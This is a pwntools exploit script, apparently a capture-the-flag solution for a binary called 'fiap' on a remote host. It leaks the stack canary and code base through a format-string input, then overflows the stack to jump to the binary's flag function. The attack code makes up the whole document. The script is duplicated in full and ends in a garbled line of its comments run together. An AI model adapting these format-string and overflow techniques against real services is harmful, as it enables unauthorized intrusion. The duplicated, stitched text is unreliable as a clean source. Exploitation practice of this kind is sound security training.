#!/usr/bin/python3

from pwn import *
import sys

#p = process('./fiap')
p = remote('172.16.31.10',43174)

binary = ELF('./fiap')

p.recvuntil('What\'s your name?')
p.sendline('%11$p,%3$p')
p.recvuntil('Thank you, ')
_ = p.recvline().strip().strip(b'!')

# 0x5655628f  →  <say_hi+13> add ebx, 0x2d71
baseproc = int(_.split(b',')[1],16) - binary.symbols['say_hi'] - 13
canary = int(_.split(b',')[0],16)

p.recvuntil('Would you like some cake?')

payload  = (0x29 - 16) * b'A'
payload += p32(canary)
payload += 3 * p32(0x0) # ebx, edi, ebp
payload += p32(baseproc + binary.symbols['flag'])

p.sendline(payload)
p.recvline()
_ = p.recv(100).decode().strip()
print(_)

#!/usr/bin/python3

from pwn import *
import sys

#p = process('./fiap')
p = remote('172.16.31.10',43174)

binary = ELF('./fiap')

p.recvuntil('What\'s your name?')
p.sendline('%11$p,%3$p')
p.recvuntil('Thank you, ')
_ = p.recvline().strip().strip(b'!')

# 0x5655628f  →  <say_hi+13> add ebx, 0x2d71
baseproc = int(_.split(b',')[1],16) - binary.symbols['say_hi'] - 13
canary = int(_.split(b',')[0],16)

p.recvuntil('Would you like some cake?')

payload  = (0x29 - 16) * b'A'
payload += p32(canary)
payload += 3 * p32(0x0) # ebx, edi, ebp
payload += p32(baseproc + binary.symbols['flag'])

p.sendline(payload)
p.recvline()
_ = p.recv(100).decode().strip()
print(_)

#!/usr/bin/python3 #p = process('./fiap') # 0x5655628f  →  <say_hi+13> add ebx, 0x2d71 # ebx, edi, ebp